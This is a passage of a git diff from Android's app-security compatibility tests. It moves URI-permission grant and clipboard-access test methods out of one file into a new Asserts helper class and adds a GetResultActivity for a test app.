         // All apps should be able to get MIME type even if provider is private.
         assertEquals(EXPECTED_MIME_TYPE_AMBIGUOUS,
                 getContext().getContentResolver().getType(AMBIGUOUS_URI_COMPAT));
     }
-
-    /**
-     * Validate behavior of persistable permission grants.
-     */
-    public void testGrantPersistableUriPermission() {
-        final ContentResolver resolver = getContext().getContentResolver();
-
-        final Uri target = Uri.withAppendedPath(PERM_URI_GRANTING, "foo");
-        final ClipData clip = makeSingleClipData(target);
-
-        // Make sure we can't see the target
-        assertReadingClipNotAllowed(clip, "reading should have failed");
-        assertWritingClipNotAllowed(clip, "writing should have failed");
-
-        // Make sure we can't take a grant we don't have
-        try {
-            resolver.takePersistableUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION);
-            fail("taking read should have failed");
-        } catch (SecurityException expected) {
-        }
-
-        // And since we were just installed, no persisted grants yet
-        assertNoPersistedUriPermission();
-
-        // Now, let's grant ourselves some access
-        ReceiveUriActivity.clearStarted();
-        grantClipUriPermission(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
-                | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION, false);
-        ReceiveUriActivity.waitForStart();
-
-        // We should now have reading access, even before taking the persistable
-        // grant. Persisted grants should still be empty.
-        assertReadingClipAllowed(clip);
-        assertWritingClipNotAllowed(clip, "writing should have failed");
-        assertNoPersistedUriPermission();
-
-        // Take the read grant and verify we have it!
-        long before = System.currentTimeMillis();
-        resolver.takePersistableUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION);
-        long after = System.currentTimeMillis();
-        assertPersistedUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION, before, after);
-
-        // Make sure we can't take a grant we don't have
-        try {
-            resolver.takePersistableUriPermission(target, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
-            fail("taking write should have failed");
-        } catch (SecurityException expected) {
-        }
-
-        // Launch again giving ourselves persistable read and write access
-        ReceiveUriActivity.clearNewIntent();
-        grantClipUriPermission(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
-                | Intent.FLAG_GRANT_WRITE_URI_PERMISSION
-                | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION, false);
-        ReceiveUriActivity.waitForNewIntent();
-
-        // Previous persisted grant should be unchanged
-        assertPersistedUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION, before, after);
-
-        // We should have both read and write; read is persisted, and write
-        // isn't persisted yet.
-        assertReadingClipAllowed(clip);
-        assertWritingClipAllowed(clip);
-
-        // Take again, but still only read; should just update timestamp
-        before = System.currentTimeMillis();
-        resolver.takePersistableUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION);
-        after = System.currentTimeMillis();
-        assertPersistedUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION, before, after);
-
-        // And take yet again, both read and write
-        before = System.currentTimeMillis();
-        resolver.takePersistableUriPermission(target,
-                Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
-        after = System.currentTimeMillis();
-        assertPersistedUriPermission(target,
-                Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION,
-                before, after);
-
-        // Now drop the persisted grant; write first, then read
-        resolver.releasePersistableUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION);
-        assertPersistedUriPermission(target, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, before, after);
-        resolver.releasePersistableUriPermission(target, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
-        assertNoPersistedUriPermission();
-
-        // And even though we dropped the persistable grants, our activity is
-        // still running with the global grants (until reboot).
-        assertReadingClipAllowed(clip);
-        assertWritingClipAllowed(clip);
-
-        ReceiveUriActivity.finishCurInstanceSync();
-    }
-
-    private void assertNoPersistedUriPermission() {
-        assertPersistedUriPermission(null, 0, -1, -1);
-    }
-
-    private void assertPersistedUriPermission(Uri uri, int flags, long before, long after) {
-        // Assert local
-        final List<UriPermission> perms = getContext()
-                .getContentResolver().getPersistedUriPermissions();
-        if (uri != null) {
-            assertEquals("expected exactly one permission", 1, perms.size());
-
-            final UriPermission perm = perms.get(0);
-            assertEquals("unexpected uri", uri, perm.getUri());
-
-            final long actual = perm.getPersistedTime();
-            if (before != -1) {
-                assertTrue("found " + actual + " before " + before, actual >= before);
-            }
-            if (after != -1) {
-                assertTrue("found " + actual + " after " + after, actual <= after);
-            }
-
-            final boolean expectedRead = (flags & Intent.FLAG_GRANT_READ_URI_PERMISSION) != 0;
-            final boolean expectedWrite = (flags & Intent.FLAG_GRANT_WRITE_URI_PERMISSION) != 0;
-            assertEquals("unexpected read status", expectedRead, perm.isReadPermission());
-            assertEquals("unexpected write status", expectedWrite, perm.isWritePermission());
-
-        } else {
-            assertEquals("expected zero permissions", 0, perms.size());
-        }
-
-        // And assert remote
-        Intent intent = new Intent();
-        intent.setAction(ACTION_VERIFY_OUTGOING_PERSISTED);
-        intent.putExtra(EXTRA_URI, uri);
-        call(intent);
-    }
-
-    /**
-     * Validate behavior of prefix permission grants.
-     */
-    public void testGrantPrefixUriPermission() throws Exception {
-        final Uri target = Uri.withAppendedPath(PERM_URI_GRANTING, "foo1");
-        final Uri targetMeow = Uri.withAppendedPath(target, "meow");
-        final Uri targetMeowCat = Uri.withAppendedPath(targetMeow, "cat");
-
-        final ClipData clip = makeSingleClipData(target);
-        final ClipData clipMeow = makeSingleClipData(targetMeow);
-        final ClipData clipMeowCat = makeSingleClipData(targetMeowCat);
-
-        // Make sure we can't see the target
-        assertReadingClipNotAllowed(clip, "reading should have failed");
-        assertWritingClipNotAllowed(clip, "writing should have failed");
-
-        // Give ourselves prefix read access
-        ReceiveUriActivity.clearStarted();
-        grantClipUriPermission(clipMeow, Intent.FLAG_GRANT_READ_URI_PERMISSION
-                | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION, false);
-        ReceiveUriActivity.waitForStart();
-
-        // Verify prefix read access
-        assertReadingClipNotAllowed(clip, "reading should have failed");
-        assertReadingClipAllowed(clipMeow);
-        assertReadingClipAllowed(clipMeowCat);
-        assertWritingClipNotAllowed(clip, "writing should have failed");
-        assertWritingClipNotAllowed(clipMeow, "writing should have failed");
-        assertWritingClipNotAllowed(clipMeowCat, "writing should have failed");
-
-        // Now give ourselves exact write access
-        ReceiveUriActivity.clearNewIntent();
-        grantClipUriPermission(clip, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, false);
-        ReceiveUriActivity.waitForNewIntent();
-
-        // Verify we have exact write access, but not prefix write
-        assertReadingClipNotAllowed(clip, "reading should have failed");
-        assertReadingClipAllowed(clipMeow);
-        assertReadingClipAllowed(clipMeowCat);
-        assertWritingClipAllowed(clip);
-        assertWritingClipNotAllowed(clipMeow, "writing should have failed");
-        assertWritingClipNotAllowed(clipMeowCat, "writing should have failed");
-
-        ReceiveUriActivity.finishCurInstanceSync();
-    }
-
-    public void testGrantPersistablePrefixUriPermission() {
-        final ContentResolver resolver = getContext().getContentResolver();
-
-        final Uri target = Uri.withAppendedPath(PERM_URI_GRANTING, "foo2");
-        final Uri targetMeow = Uri.withAppendedPath(target, "meow");
-
-        final ClipData clip = makeSingleClipData(target);
-        final ClipData clipMeow = makeSingleClipData(targetMeow);
-
-        // Make sure we can't see the target
-        assertReadingClipNotAllowed(clip, "reading should have failed");
-
-        // Give ourselves prefix read access
-        ReceiveUriActivity.clearStarted();
-        grantClipUriPermission(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
-                | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
-                | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION, false);
-        ReceiveUriActivity.waitForStart();
-
-        // Verify prefix read access
-        assertReadingClipAllowed(clip);
-        assertReadingClipAllowed(clipMeow);
-
-        // Verify we can persist direct grant
-        long before = System.currentTimeMillis();
-        resolver.takePersistableUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION);
-        long after = System.currentTimeMillis();
-        assertPersistedUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION, before, after);
-
-        // But we can't take anywhere under the prefix
-        try {
-            resolver.takePersistableUriPermission(targetMeow,
-                    Intent.FLAG_GRANT_READ_URI_PERMISSION);
-            fail("taking under prefix should have failed");
-        } catch (SecurityException expected) {
-        }
-
-        // Should still have access regardless of taking
-        assertReadingClipAllowed(clip);
-        assertReadingClipAllowed(clipMeow);
-
-        // And clean up our grants
-        resolver.releasePersistableUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION);
-        assertNoPersistedUriPermission();
-
-        ReceiveUriActivity.finishCurInstanceSync();
-    }
-
-    /**
-     * Validate behavior of directly granting/revoking permission grants.
-     */
-    public void testDirectGrantRevokeUriPermission() throws Exception {
-        final ContentResolver resolver = getContext().getContentResolver();
-
-        final Uri target = Uri.withAppendedPath(PERM_URI_GRANTING, "foo3");
-        final Uri targetMeow = Uri.withAppendedPath(target, "meow");
-        final Uri targetMeowCat = Uri.withAppendedPath(targetMeow, "cat");
-
-        final ClipData clip = makeSingleClipData(target);
-        final ClipData clipMeow = makeSingleClipData(targetMeow);
-        final ClipData clipMeowCat = makeSingleClipData(targetMeowCat);
-
-        // Make sure we can't see the target
-        assertReadingClipNotAllowed(clipMeow, "reading should have failed");
-        assertWritingClipNotAllowed(clipMeow, "writing should have failed");
-
-        // Give ourselves some grants:
-        // /meow/cat  WRITE|PERSISTABLE
-        // /meow      READ|PREFIX
-        // /meow      WRITE
-        grantClipUriPermissionViaContext(targetMeowCat, Intent.FLAG_GRANT_WRITE_URI_PERMISSION
-                | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION);
-        grantClipUriPermissionViaContext(targetMeow, Intent.FLAG_GRANT_READ_URI_PERMISSION
-                | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION);
-        grantClipUriPermissionViaContext(targetMeow, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
-
-        long before = System.currentTimeMillis();
-        resolver.takePersistableUriPermission(targetMeowCat, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
-        long after = System.currentTimeMillis();
-        assertPersistedUriPermission(targetMeowCat, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, before, after);
-
-        // Verify they look good
-        assertReadingClipNotAllowed(clip, "reading should have failed");
-        assertReadingClipAllowed(clipMeow);
-        assertReadingClipAllowed(clipMeowCat);
-        assertWritingClipNotAllowed(clip, "writing should have failed");
-        assertWritingClipAllowed(clipMeow);
-        assertWritingClipAllowed(clipMeowCat);
-
-        // Revoke anyone with write under meow
-        revokeClipUriPermissionViaContext(targetMeow, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
-
-        // This should have nuked persisted permission at lower level, but it
-        // shoulnd't have touched our prefix read.
-        assertReadingClipNotAllowed(clip, "reading should have failed");
-        assertReadingClipAllowed(clipMeow);
-        assertReadingClipAllowed(clipMeowCat);
-        assertWritingClipNotAllowed(clip, "writing should have failed");
-        assertWritingClipNotAllowed(clipMeow, "writing should have failed");
-        assertWritingClipNotAllowed(clipMeowCat, "writing should have failed");
-        assertNoPersistedUriPermission();
-
-        // Revoking read at top of tree should nuke everything else
-        revokeClipUriPermissionViaContext(target, Intent.FLAG_GRANT_READ_URI_PERMISSION);
-        assertReadingClipNotAllowed(clip, "reading should have failed");
-        assertReadingClipNotAllowed(clipMeow, "reading should have failed");
-        assertReadingClipNotAllowed(clipMeowCat, "reading should have failed");
-        assertWritingClipNotAllowed(clip, "writing should have failed");
-        assertWritingClipNotAllowed(clipMeow, "writing should have failed");
-        assertWritingClipNotAllowed(clipMeowCat, "writing should have failed");
-        assertNoPersistedUriPermission();
-    }
-
-    /**
-     * Validate behavior of a direct permission grant, where the receiver of
-     * that permission revokes it.
-     */
-    public void testDirectGrantReceiverRevokeUriPermission() throws Exception {
-        final ContentResolver resolver = getContext().getContentResolver();
-
-        final Uri target = Uri.withAppendedPath(PERM_URI_GRANTING, "foo3");
-        final Uri targetMeow = Uri.withAppendedPath(target, "meow");
-        final Uri targetMeowCat = Uri.withAppendedPath(targetMeow, "cat");
-
-        final ClipData clip = makeSingleClipData(target);
-        final ClipData clipMeow = makeSingleClipData(targetMeow);
-        final ClipData clipMeowCat = makeSingleClipData(targetMeowCat);
-
-        // Make sure we can't see the target
-        assertReadingClipNotAllowed(clipMeow, "reading should have failed");
-        assertWritingClipNotAllowed(clipMeow, "writing should have failed");
-
-        // Give ourselves some grants:
-        // /meow/cat  WRITE|PERSISTABLE
-        // /meow      READ|PREFIX
-        // /meow      WRITE
-        grantClipUriPermissionViaContext(targetMeowCat, Intent.FLAG_GRANT_WRITE_URI_PERMISSION
-                | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION);
-        grantClipUriPermissionViaContext(targetMeow, Intent.FLAG_GRANT_READ_URI_PERMISSION
-                | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION);
-        grantClipUriPermissionViaContext(targetMeow, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
-
-        long before = System.currentTimeMillis();
-        resolver.takePersistableUriPermission(targetMeowCat, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
-        long after = System.currentTimeMillis();
-        assertPersistedUriPermission(targetMeowCat, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, before, after);
-
-        // Verify they look good
-        assertReadingClipNotAllowed(clip, "reading should have failed");
-        assertReadingClipAllowed(clipMeow);
-        assertReadingClipAllowed(clipMeowCat);
-        assertWritingClipNotAllowed(clip, "writing should have failed");
-        assertWritingClipAllowed(clipMeow);
-        assertWritingClipAllowed(clipMeowCat);
-
-        // Revoke anyone with write under meow
-        getContext().revokeUriPermission(targetMeow, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
-
-        // This should have nuked persisted permission at lower level, but it
-        // shoulnd't have touched our prefix read.
-        assertReadingClipNotAllowed(clip, "reading should have failed");
-        assertReadingClipAllowed(clipMeow);
-        assertReadingClipAllowed(clipMeowCat);
-        assertWritingClipNotAllowed(clip, "writing should have failed");
-        assertWritingClipNotAllowed(clipMeow, "writing should have failed");
-        assertWritingClipNotAllowed(clipMeowCat, "writing should have failed");
-        assertNoPersistedUriPermission();
-
-        // Revoking read at top of tree should nuke everything else
-        getContext().revokeUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION);
-        assertReadingClipNotAllowed(clip, "reading should have failed");
-        assertReadingClipNotAllowed(clipMeow, "reading should have failed");
-        assertReadingClipNotAllowed(clipMeowCat, "reading should have failed");
-        assertWritingClipNotAllowed(clip, "writing should have failed");
-        assertWritingClipNotAllowed(clipMeow, "writing should have failed");
-        assertWritingClipNotAllowed(clipMeowCat, "writing should have failed");
-        assertNoPersistedUriPermission();
-    }
-
-    public void testClipboardWithPermission() throws Exception {
-        for (Uri target : GRANTABLE) {
-            final ClipData clip = makeSingleClipData(target);
-
-            // Normally we can't see the underlying clip data
-            assertReadingClipNotAllowed(clip);
-            assertWritingClipNotAllowed(clip);
-
-            // Use shell's permissions to ensure we can access the clipboard
-            InstrumentationRegistry.getInstrumentation().getUiAutomation()
-                    .adoptShellPermissionIdentity();
-            ClipData clipFromClipboard;
-            try {
-                // But if someone puts it on the clipboard, we can read it
-                setPrimaryClip(clip);
-                clipFromClipboard = getContext()
-                        .getSystemService(ClipboardManager.class).getPrimaryClip();
-            } finally {
-                InstrumentationRegistry.getInstrumentation().getUiAutomation()
-                        .dropShellPermissionIdentity();
-            }
-            assertClipDataEquals(clip, clipFromClipboard);
-            assertReadingClipAllowed(clipFromClipboard);
-            assertWritingClipNotAllowed(clipFromClipboard);
-
-            // And if clipboard is cleared, we lose access
-            clearPrimaryClip();
-            assertReadingClipNotAllowed(clipFromClipboard);
-            assertWritingClipNotAllowed(clipFromClipboard);
-        }
-    }
-
-    public void testClipboardWithoutPermission() throws Exception {
-        for (Uri target : NOT_GRANTABLE) {
-            final ClipData clip = makeSingleClipData(target);
-
-            // Can't see it directly
-            assertReadingClipNotAllowed(clip);
-            assertWritingClipNotAllowed(clip);
-
-            // Can't put on clipboard if we don't own it
-            try {
-                setPrimaryClip(clip);
-                fail("Unexpected ability to put protected data " + clip + " on clipboard!");
-            } catch (Exception expected) {
-            }
-        }
-    }
-
-    private static void assertClipDataEquals(ClipData expected, ClipData actual) {
-        assertEquals(expected.getItemCount(), actual.getItemCount());
-        for (int i = 0; i < expected.getItemCount(); i++) {
-            final ClipData.Item expectedItem = expected.getItemAt(i);
-            final ClipData.Item actualItem = actual.getItemAt(i);
-            assertEquals(expectedItem.getText(), actualItem.getText());
-            assertEquals(expectedItem.getHtmlText(), actualItem.getHtmlText());
-            assertEquals(expectedItem.getIntent(), actualItem.getIntent());
-            assertEquals(expectedItem.getUri(), actualItem.getUri());
-        }
-    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Asserts.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Asserts.java
new file mode 100644
index 0000000..02483ca
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Asserts.java
@@ -0,0 +1,315 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.usespermissiondiffcertapp;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.ClipData;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.content.Intent;
+import android.content.UriPermission;
+import android.database.Cursor;
+import android.net.Uri;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.io.IOException;
+import java.util.List;
+
+public class Asserts {
+    private static Context getContext() {
+        return InstrumentationRegistry.getTargetContext();
+    }
+
+    static void assertAccess(ClipData clip, int mode) {
+        for (int i = 0; i < clip.getItemCount(); i++) {
+            ClipData.Item item = clip.getItemAt(i);
+            Uri uri = item.getUri();
+            if (uri != null) {
+                assertAccess(uri, mode);
+            } else {
+                Intent intent = item.getIntent();
+                uri = intent.getData();
+                if (uri != null) {
+                    assertAccess(uri, mode);
+                }
+                ClipData intentClip = intent.getClipData();
+                if (intentClip != null) {
+                    assertAccess(intentClip, mode);
+                }
+            }
+        }
+    }
+
+    static void assertAccess(Uri uri, int mode) {
+        if ((mode & Intent.FLAG_GRANT_READ_URI_PERMISSION) != 0) {
+            assertReadingContentUriAllowed(uri);
+        } else {
+            assertReadingContentUriNotAllowed(uri, null);
+        }
+        if ((mode & Intent.FLAG_GRANT_WRITE_URI_PERMISSION) != 0) {
+            assertWritingContentUriAllowed(uri);
+        } else {
+            assertWritingContentUriNotAllowed(uri, null);
+        }
+    }
+
+    static void assertReadingContentUriNotAllowed(Uri uri, String msg) {
+        try {
+            getContext().getContentResolver().query(uri, null, null, null, null);
+            fail("expected SecurityException reading " + uri + ": " + msg);
+        } catch (SecurityException expected) {
+            assertNotNull("security exception's error message.", expected.getMessage());
+        }
+    }
+
+    static void assertReadingContentUriAllowed(Uri uri) {
+        try {
+            getContext().getContentResolver().query(uri, null, null, null, null);
+        } catch (SecurityException e) {
+            fail("unexpected SecurityException reading " + uri + ": " + e.getMessage());
+        }
+    }
+
+    static void assertReadingClipNotAllowed(ClipData clip) {
+        assertReadingClipNotAllowed(clip, null);
+    }
+
+    static void assertReadingClipNotAllowed(ClipData clip, String msg) {
+        for (int i=0; i<clip.getItemCount(); i++) {
+            ClipData.Item item = clip.getItemAt(i);
+            Uri uri = item.getUri();
+            if (uri != null) {
+                assertReadingContentUriNotAllowed(uri, msg);
+            } else {
+                Intent intent = item.getIntent();
+                uri = intent.getData();
+                if (uri != null) {
+                    assertReadingContentUriNotAllowed(uri, msg);
+                }
+                ClipData intentClip = intent.getClipData();
+                if (intentClip != null) {
+                    assertReadingClipNotAllowed(intentClip, msg);
+                }
+            }
+        }
+    }
+
+    static void assertOpenFileDescriptorModeNotAllowed(Uri uri, String msg, String mode) {
+        try {
+            getContext().getContentResolver().openFileDescriptor(uri, mode).close();
+            fail("expected SecurityException writing " + uri + ": " + msg);
+        } catch (IOException e) {
+            throw new IllegalStateException(e);
+        } catch (SecurityException expected) {
+            assertNotNull("security exception's error message.", expected.getMessage());
+        }
+    }
+
+    static void assertContentUriAllowed(Uri uri) {
+        assertReadingContentUriAllowed(uri);
+        assertWritingContentUriAllowed(uri);
+    }
+
+    static void assertContentUriNotAllowed(Uri uri, String msg) {
+        assertReadingContentUriNotAllowed(uri, msg);
+        assertWritingContentUriNotAllowed(uri, msg);
+    }
+
+    static void assertWritingContentUriNotAllowed(Uri uri, String msg) {
+        final ContentResolver resolver = getContext().getContentResolver();
+        try {
+            resolver.insert(uri, new ContentValues());
+            fail("expected SecurityException inserting " + uri + ": " + msg);
+        } catch (SecurityException expected) {
+            assertNotNull("security exception's error message.", expected.getMessage());
+        }
+
+        try {
+            resolver.update(uri, new ContentValues(), null, null);
+            fail("expected SecurityException updating " + uri + ": " + msg);
+        } catch (SecurityException expected) {
+            assertNotNull("security exception's error message.", expected.getMessage());
+        }
+
+        try {
+            resolver.delete(uri, null, null);
+            fail("expected SecurityException deleting " + uri + ": " + msg);
+        } catch (SecurityException expected) {
+            assertNotNull("security exception's error message.", expected.getMessage());
+        }
+
+        try {
+            getContext().getContentResolver().openOutputStream(uri).close();
+            fail("expected SecurityException writing " + uri + ": " + msg);
+        } catch (IOException e) {
+            throw new IllegalStateException(e);
+        } catch (SecurityException expected) {
+            assertNotNull("security exception's error message.", expected.getMessage());
+        }
+
+        assertOpenFileDescriptorModeNotAllowed(uri, msg, "w");
+        assertOpenFileDescriptorModeNotAllowed(uri, msg, "wt");
+        assertOpenFileDescriptorModeNotAllowed(uri, msg, "wa");
+        assertOpenFileDescriptorModeNotAllowed(uri, msg, "rw");
+        assertOpenFileDescriptorModeNotAllowed(uri, msg, "rwt");
+    }
+
+    static void assertWritingContentUriAllowed(Uri uri) {
+        final ContentResolver resolver = getContext().getContentResolver();
+        try {
+            resolver.insert(uri, new ContentValues());
+            resolver.update(uri, new ContentValues(), null, null);
+            resolver.delete(uri, null, null);
+
+            resolver.openOutputStream(uri).close();
+            resolver.openFileDescriptor(uri, "w").close();
+            resolver.openFileDescriptor(uri, "wt").close();
+            resolver.openFileDescriptor(uri, "wa").close();
+            resolver.openFileDescriptor(uri, "rw").close();
+            resolver.openFileDescriptor(uri, "rwt").close();
+        } catch (IOException e) {
+            fail("unexpected IOException writing " + uri + ": " + e.getMessage());
+        } catch (SecurityException e) {
+            fail("unexpected SecurityException writing " + uri + ": " + e.getMessage());
+        }
+    }
+
+    static void assertWritingClipNotAllowed(ClipData clip) {
+        assertWritingClipNotAllowed(clip, null);
+    }
+
+    static void assertWritingClipNotAllowed(ClipData clip, String msg) {
+        for (int i=0; i<clip.getItemCount(); i++) {
+            ClipData.Item item = clip.getItemAt(i);
+            Uri uri = item.getUri();
+            if (uri != null) {
+                assertWritingContentUriNotAllowed(uri, msg);
+            } else {
+                Intent intent = item.getIntent();
+                uri = intent.getData();
+                if (uri != null) {
+                    assertWritingContentUriNotAllowed(uri, msg);
+                }
+                ClipData intentClip = intent.getClipData();
+                if (intentClip != null) {
+                    assertWritingClipNotAllowed(intentClip, msg);
+                }
+            }
+        }
+    }
+
+    static void assertReadingClipAllowed(ClipData clip) {
+        for (int i=0; i<clip.getItemCount(); i++) {
+            ClipData.Item item = clip.getItemAt(i);
+            Uri uri = item.getUri();
+            if (uri != null) {
+                Cursor c = getContext().getContentResolver().query(uri,
+                        null, null, null, null);
+                if (c != null) {
+                    c.close();
+                }
+            } else {
+                Intent intent = item.getIntent();
+                uri = intent.getData();
+                if (uri != null) {
+                    Cursor c = getContext().getContentResolver().query(uri,
+                            null, null, null, null);
+                    if (c != null) {
+                        c.close();
+                    }
+                }
+                ClipData intentClip = intent.getClipData();
+                if (intentClip != null) {
+                    assertReadingClipAllowed(intentClip);
+                }
+            }
+        }
+    }
+
+    static void assertWritingClipAllowed(ClipData clip) {
+        for (int i=0; i<clip.getItemCount(); i++) {
+            ClipData.Item item = clip.getItemAt(i);
+            Uri uri = item.getUri();
+            if (uri != null) {
+                getContext().getContentResolver().insert(uri, new ContentValues());
+            } else {
+                Intent intent = item.getIntent();
+                uri = intent.getData();
+                if (uri != null) {
+                    getContext().getContentResolver().insert(uri, new ContentValues());
+                }
+                ClipData intentClip = intent.getClipData();
+                if (intentClip != null) {
+                    assertWritingClipAllowed(intentClip);
+                }
+            }
+        }
+    }
+
+
+    static void assertClipDataEquals(ClipData expected, ClipData actual) {
+        assertEquals(expected.getItemCount(), actual.getItemCount());
+        for (int i = 0; i < expected.getItemCount(); i++) {
+            final ClipData.Item expectedItem = expected.getItemAt(i);
+            final ClipData.Item actualItem = actual.getItemAt(i);
+            assertEquals(expectedItem.getText(), actualItem.getText());
+            assertEquals(expectedItem.getHtmlText(), actualItem.getHtmlText());
+            assertEquals(expectedItem.getIntent(), actualItem.getIntent());
+            assertEquals(expectedItem.getUri(), actualItem.getUri());
+        }
+    }
+
+    static void assertNoPersistedUriPermission() {
+        assertPersistedUriPermission(null, 0, -1, -1);
+    }
+
+    static void assertPersistedUriPermission(Uri uri, int flags, long before, long after) {
+        // Assert local
+        final List<UriPermission> perms = getContext()
+                .getContentResolver().getPersistedUriPermissions();
+        if (uri != null) {
+            assertEquals("expected exactly one permission", 1, perms.size());
+
+            final UriPermission perm = perms.get(0);
+            assertEquals("unexpected uri", uri, perm.getUri());
+
+            final long actual = perm.getPersistedTime();
+            if (before != -1) {
+                assertTrue("found " + actual + " before " + before, actual >= before);
+            }
+            if (after != -1) {
+                assertTrue("found " + actual + " after " + after, actual <= after);
+            }
+
+            final boolean expectedRead = (flags & Intent.FLAG_GRANT_READ_URI_PERMISSION) != 0;
+            final boolean expectedWrite = (flags & Intent.FLAG_GRANT_WRITE_URI_PERMISSION) != 0;
+            assertEquals("unexpected read status", expectedRead, perm.isReadPermission());
+            assertEquals("unexpected write status", expectedWrite, perm.isWritePermission());
+
+        } else {
+            assertEquals("expected zero permissions", 0, perms.size());
+        }
+
+        Utils.verifyOutgoingPersisted(uri);
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/GetResultActivity.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/GetResultActivity.java
new file mode 100644
index 0000000..71e2cc1
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/GetResultActivity.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.usespermissiondiffcertapp;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.SystemClock;
+import android.util.Log;
+import android.view.WindowManager;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class GetResultActivity extends Activity {
+    private static final String TAG = "GetResultActivity";
+
+    private LinkedBlockingQueue<Result> mResult;
+    private CountDownLatch mDestroyed;
+
+    public static class Result {
+        public final int requestCode;
+        public final int resultCode;
+        public final Intent data;
+
+        public Result(int requestCode, int resultCode, Intent data) {
+            this.requestCode = requestCode;
+            this.resultCode = resultCode;
+            this.data = data;
+        }
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
+                | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON
+                | WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD);
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+
+        if (mDestroyed != null) {
+            mDestroyed.countDown();
+        }
+    }
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        Log.d(TAG, "onActivityResult " + data);
+        try {
+            mResult.offer(new Result(requestCode, resultCode, data), 5, TimeUnit.SECONDS);
+        } catch (InterruptedException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    public void clearResult() {
+        mResult = new LinkedBlockingQueue<>();
+        mDestroyed = new CountDownLatch(1);
+    }
+
+    public Result getResult() {
+        try {
+            return mResult.poll(5, TimeUnit.SECONDS);
+        } catch (InterruptedException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    public void getDestroyed() {
+        try {
+            mDestroyed.await(5, TimeUnit.SECONDS);
+            SystemClock.sleep(200);
+        } catch (InterruptedException e) {
+            throw new RuntimeException(e);
+        }
+    }
+}
